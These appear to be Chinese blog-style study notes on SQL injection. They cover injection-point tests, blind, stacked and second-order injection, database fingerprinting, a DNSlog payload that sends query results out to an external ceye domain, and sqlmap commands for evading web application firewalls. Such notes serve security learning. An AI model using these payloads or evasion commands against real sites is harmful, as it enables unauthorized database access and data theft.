SQL注入

一、介绍

SQL注入漏洞是一种常见的网络攻击方式,攻击者通过构造恶意的SQL语句来执行未经授权的操作,如非法查询、修改或删除数据。

二、原理

系统对用户的输入过滤不严,导致用户可以输入一些恶意的参数,从而被带到数据库中执行

三、MySQL注入

在这里插入图片描述1)、判断注入点
旧方法:
and 1=1 页面正常
and 1=2 页面错误
单双引号
/1 /0

2)、文件读写操作
load_file():读取函数
into outfile或into dumpfile:导出函数

3)、addslashes()
该函数返回在预定义字符之前添加反斜杠的字符串
预定义字符:
单引号
双引号
反斜杠
NULL

4)、类型&&提交注入
在真实SQL注入安全测试中,首先要明确提交数据及提交方法再进行注入

参数类型:
数字、字符、收索、JSON等

请求方法:
GET、POST、COOKIE、REQUEST、HTTP头等

简单的提交测试:
测试代码:

<?php

$get = $_GET['g'];
echo $get;

$post = $_POST['p'];
echo $post;

?>

在这里插入图片描述

<?php
$cookie = $_COOKIE['c'];
echo $cookie;
?>

在这里插入图片描述

<?php
$request = $_REQUEST['r'];
echo $request;
?>

request可以接收post或get提交的参数
在这里插入图片描述

<?php
$s = $_SERVER['HTTP_USER_AGENT'];
echo $s;
?>

在这里插入图片描述
5)、数据库配置文件
连接数据库的文件也就是数据库配置文件,该文件决定网站注入点用户的权限。

6)、access数据库暴力猜解

7)、sqlserver
and exists(select * from sysobjects)-- 返回正常为sqlserver
and exists(select count(*) from sysobjects)-- 有时上面的语句不行就用这条

8)、postgresql
端口:5432
postgresql也有存储数据库所有信息的表 information_schema

9)、MongoDB
端口:27017
常用语言:python
通常sqlmap不支持MongoDB的注入,而nosqlattack支持

10)、查询方式及报错盲注
当进行sql注入时,有很多注入会出现无回显的情况,其中不回显的原因可能时SQL语句查询方式的问题导致,这个时候可以尝试用报错或盲注测试

sql注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,需要利用一些方法进行判断或尝试,这个过程称之为盲注。盲注分为以下三类:

基于布尔的SQL盲注——逻辑判断
regexp,like、ascii、left、ord、mid

基于时间的SQL盲注——延时判断
if、sleep

基于报错的SQL盲注——报错回显
floor、updatexml、extractvalue …

11)、regexp
regexp关键字指定正则表达式的字符匹配模式
例:regexp ‘^Massimo[a-z]’ 匹配Massimo及Massimo…等

12)、DNSlog
解决盲注不能回显数据,效率低等问题
payload:
http://192.168.133.133/sqli/Less-2/?id=-1 and if((LOAD_FILE(CONCAT(‘\\’,(select version()),‘.自己的ceye地址\abc’))),1,0)–+
在这里插入图片描述

在这里插入图片描述
13)、二次注入
原理:
1、插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据包含恶意内容。
2、引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

14)、堆叠注入
在mysql中,用分号 ; 表示一条语句的结束,所有我们可以用分号结束上一条语句,再添加其它的sql语句

局限性:只产生在部分数据库

15)、绕WAF
在这里插入图片描述16)、benchmark()函数
测试数据库中特定表达式的执行时间

benchmark(loop_count,expr)
loop_count 循环次数
expr 要循环的表达式

17)、sqlmap绕waf
使用tamper库

python sqlmap.py -u “url” --tamper=rdog.py --proxy=http://127.0.0.1:8080
问题:数据包UA头中带有sqlmap字样

解决:随机头部
python sqlmap.py -u “url” --tamper=rdog.py --proxy=http://127.0.0.1:8080 --random-agent

18)、sqlmap请求过快,被waf拦截
解决1:
自定义UA头
–user-agent=“”

解决2:延时
–delay 1
每隔1秒发一个数据包

解决3:代理池

19)、请求包中accept检测
解决:中转脚本

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值